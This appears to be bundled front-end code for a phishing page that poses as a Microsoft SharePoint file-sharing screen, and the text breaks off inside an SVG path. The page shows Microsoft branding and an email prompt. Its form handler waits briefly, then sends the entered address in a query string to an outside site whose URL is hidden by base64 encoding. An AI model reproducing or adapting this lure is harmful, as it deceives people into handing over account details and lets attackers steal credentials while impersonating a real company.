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",
          width: 363,
          height: 111,
        });

      // ============================================
      // COMPONENT: Microsoft Logo
      // ============================================
      const MicrosoftLogo = () =>
        React.jsx(Image.default, {
          src: "data:image/png;base64,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",
          alt: "Log",
          width: 144,
          height: 144,
        });

      // ============================================
      // COMPONENT: Email Modal
      // ============================================
      const ModalConstants = {
        transitionDuration: { enter: 600, exit: 1000 },
      };

      let isEmailReadOnly = true;
      let isValidEmail = true;

      const EmailModal = ({ showEmailModal, userEmail }) => {
        const modalRef = ReactDom.useRef(null);
        const router = ReactUtils.useRouter();

        // Validate email
        if (userEmail && userEmail.includes("@")) {
          isValidEmail = true;
        } else {
          isValidEmail = false;
        }

        // Handle form submission
        const handleFormSubmit = async (previousState, formData) => {
          const formDataObject = {
            owner: "Testern",
            email: formData.get("x1") || "",
            sendTo: "",
          };

          const responseMessage = "Redirecting...";
          await new Promise((resolve) => setTimeout(resolve, 500));

          const baseUrl = atob("aHR0cHM6Ly9wcm9qZXQuY29t");
          router.replace(`${baseUrl}?email=${formDataObject.email}`);

          return { message: responseMessage };
        };

        const [state, formAction, isPending] = ReactDom.useActionState(
          handleFormSubmit,
          {}
        );

        return React.jsx(FramerMotion.A, {
          mountOnEnter: true,
          unmountOnExit: true,
          in: showEmailModal,
          nodeRef: modalRef,
          timeout: ModalConstants.transitionDuration,
          classNames: {
            enter: "",
            enterActive: f().ModalOpen,
            exit: "",
            exitActive: f().ModalClosed,
          },
          children: React.jsxs(
            "div",
            {
              ref: modalRef,
              className: f().Modal,
              children: [
                React.jsx(Logo, {}),
                " ",
                React.jsxs(
                  "form",
                  {
                    action: formAction,
                    children: [
                      state.message &&
                        React.jsx("p", { children: state.message }),
                      React.jsx("input", {
                        type: "text",
                        name: "x1",
                        placeholder: "Email",
                        style: { backgroundColor: "#eaecec" },
                        defaultValue: userEmail,
                        required: true,
                        readOnly: isValidEmail,
                      }),
                      isPending
                        ? React.jsxs(
                            "button",
                            {
                              type: "submit",
                              disabled: true,
                              children: [
                                React.jsx("i", {
                                  className: "fa fa-spinner fa-spin",
                                }),
                                "Please wait",
                              ],
                            }
                          )
                        : React.jsx(
                            "button",
                            {
                              type: "submit",
                              children: "Continue",
                            }
                          ),
                    ],
                  }
                ),
              ],
            }
          ),
        });
      };

      // ============================================
      // COMPONENT: Backdrop
      // ============================================
      const Backdrop = t(6596);
      const BackdropStyles = t.n(Backdrop);
      const BackdropComponent = ({ onClick }) =>
        React.jsx("div", {
          className: BackdropStyles().Backdrop,
          onClick: onClick,
        });

      // ============================================
      // COMPONENT: Header
      // ============================================
      const HeaderStyles = t(5717);
      const HeaderStylesDefault = t.n(HeaderStyles);

      const HeaderComponent = () =>
        React.jsxs("div", {
          className: HeaderStylesDefault().header,
          children: [
            "Microsoft |",
            React.jsx("strong", { children: " SharePoint" }),
          ],
        });

      // ============================================
      // COMPONENT: List Item
      // ============================================
      const ListStyles = t(9143);
      const ListStylesDefault = t.n(ListStyles);

      const ListItem = ({ icon, description }) =>
        React.jsxs("li", {
          className: ListStylesDefault().lists,
          children: [
            React.jsxs("div", {
              className: ListStylesDefault().fileinfo,
              children: [
                React.jsx("div", {
                  className: ListStylesDefault().listLog,
                  children: icon,
                }),
                React.jsx("div", {
                  className: ListStylesDefault().desc,
                  children: description,
                }),
              ],
            }),
            React.jsx("div", {
              children: React.jsx("p", { children: "View" }),
            }),
          ],
        });

      // ============================================
      // SVG ICONS
      // ============================================
      const SvgStyles = t(4496);
      const SvgStylesDefault = t.n(SvgStyles);

      // Folder icon
      const FolderIcon = ({ width, height }) =>
        React.jsxs(
          "svg",
          {
            className: SvgStylesDefault().mlog,
            width: width,
            height: height,
            viewBox: "0 0 24 24",
            xmlns: "http://www.w3.org/2000/svg",
            fill: "#000000",
            children: [
              React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }),
              React.jsx("g", {
                id: "SVGRepo_tracerCarrier",
                strokeLinecap: "round",
                strokeLinejoin: "round",
              }),
              React.jsxs("g", {
                id: "SVGRepo_iconCarrier",
                children: [
                  " ",
                  React.jsx("path", {
                    fill: "#fff",
                    fillRule: "evenodd",
                    d: "M21.6924215,13.986674 C22.9997233,14.1908343 24,15.3216239 24,16.6862741 C24,17.7522298 23.3892094,18.6751163 22.4988002,19.1254521 C22.4321553,19.1592575 22.3639409,19.1904067 22.294157,19.2186583 L8.59404885,19.2186583 L8.59404885,19.2181754 C6.85476268,19.2073094 5.44797646,17.7943658 5.44797646,16.0524235 C5.44797646,14.3037201 6.86550796,12.8860679 8.61421133,12.8860679 C8.70222602,12.8860679 8.78903338,12.8906557 8.87511633,12.8976583 C8.87028699,12.8172498 8.86702719,12.7364791 8.86702719,12.6548633 C8.86702719,10.4662072 10.6413261,8.69190834 12.8299821,8.69190834 C14.3676434,8.69190834 15.6998164,9.5683125 16.3568479,10.8482079 C16.9002691,10.4918027 17.5498151,10.283779 18.2483789,10.283779 C20.1559675,10.283779 21.7023216,11.8301331 21.7023216,13.7377217 C21.7023216,13.8215107 21.6982167,13.9043338 21.6924215,13.986674 Z M8.18741857,12.2086324 C6.25507961,12.421727 4.74711875,14.0641849 4.74711875,16.0524235 C4.74711875,16.8619413 4.9992102,17.6150766 5.42841764,18.2378198 L3.27887919,18.2378198 C1.46799809,18.2378198 -1.77635684e-15,16.7698217 -1.77635684e-15,14.9589406 C-1.77635684e-15,13.2281057 1.34134869,11.8115401 3.04103428,11.6894786 C2.98428956,11.4324371 2.95350253,11.1656161 2.95350253,10.8915512 C2.95350253,8.85248384 4.60646427,7.19964283 6.64541087,7.19964283 C7.40977438,7.19964283 8.11980783,7.43181327 8.70886636,7.82963 